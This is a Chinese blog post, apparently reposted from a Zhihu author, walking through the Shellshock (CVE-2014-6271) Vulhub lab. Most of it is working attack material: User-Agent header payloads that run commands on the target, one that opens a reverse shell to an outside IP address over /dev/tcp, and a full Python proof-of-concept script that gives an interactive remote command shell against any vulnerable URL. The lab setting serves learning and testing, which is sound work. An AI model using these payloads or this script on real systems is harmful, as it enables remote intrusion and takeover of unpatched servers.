学习Vulhub的Shellshock破壳漏洞CVE-2014-6271

信息安全不简单鸭 2024-07-18 10:55:08

5年前,我做了一个实验[1],得出Bash4.3及以前的版本存在的一些漏洞:

bash子进程没有继承普通shell变量bash子进程没有继承函数shell变量bash子进程继承普通环境变量bash子进程继承函数环境变量bash子进程误把普通环境变量(){ :; }当做函数环境变量处理了

ailx10

网络安全优秀回答者

网络安全硕士

去咨询

打开含有Shellshock 破壳漏洞 CVE-2014-6271 脆弱性漏洞的Vulhub 靶机:

启动vulhub环境:docker-compose up -d移除vulhub环境:docker-compose down

掏出burpsuite,修改 User-Agent: (注意冒号后面2个空格),成功返回命令执行ls的结果

User-Agent: () { :; };echo Content-Type: text/plain; echo; /bin/ls;

尝试反弹shell,修改 User-Agent:

User-Agent: () { :; };/bin/bash -c "bash -i >& /dev/tcp/174.137.58.6/8888 0>&1";

观察,成功拿到靶机的 shell,CVE-2014-6271 Shellshock 命令执行就是这么简单

POC 脚本跑的效果如下:

python3 POC脚本

#!/usr/bin/python# Successful Output:# # python shell_shocker.py <VulnURL># [+] Attempting Shell_Shock - Make sure to type full path# ~$ /bin/ls /# bin# boot# dev# etc# ..# ~$ /bin/cat /etc/passwdfrom __future__ import print_functionfrom future import standard_librarystandard_library.install_aliases()from builtins import inputimport sys, urllib.request, urllib.error, urllib.parseif len(sys.argv) != 2: print("Usage: shell_shocker <URL>") sys.exit(0)URL=sys.argv[1]print("[+] Attempting Shell_Shock - Make sure to type full path")while True: command=input("~$ ") opener=urllib.request.build_opener() opener.addheaders=[('User-agent', '() { foo;}; echo Content-Type: text/plain ; echo ; '+command)] try: response=opener.open(URL) for line in response.readlines(): print(line.strip()) except Exception as e: print(e)参考^什么是shellshock攻击 https://zhuanlan.zhihu.com/p/35579956
0 阅读:0

信息安全不简单鸭

简介:感谢大家的关注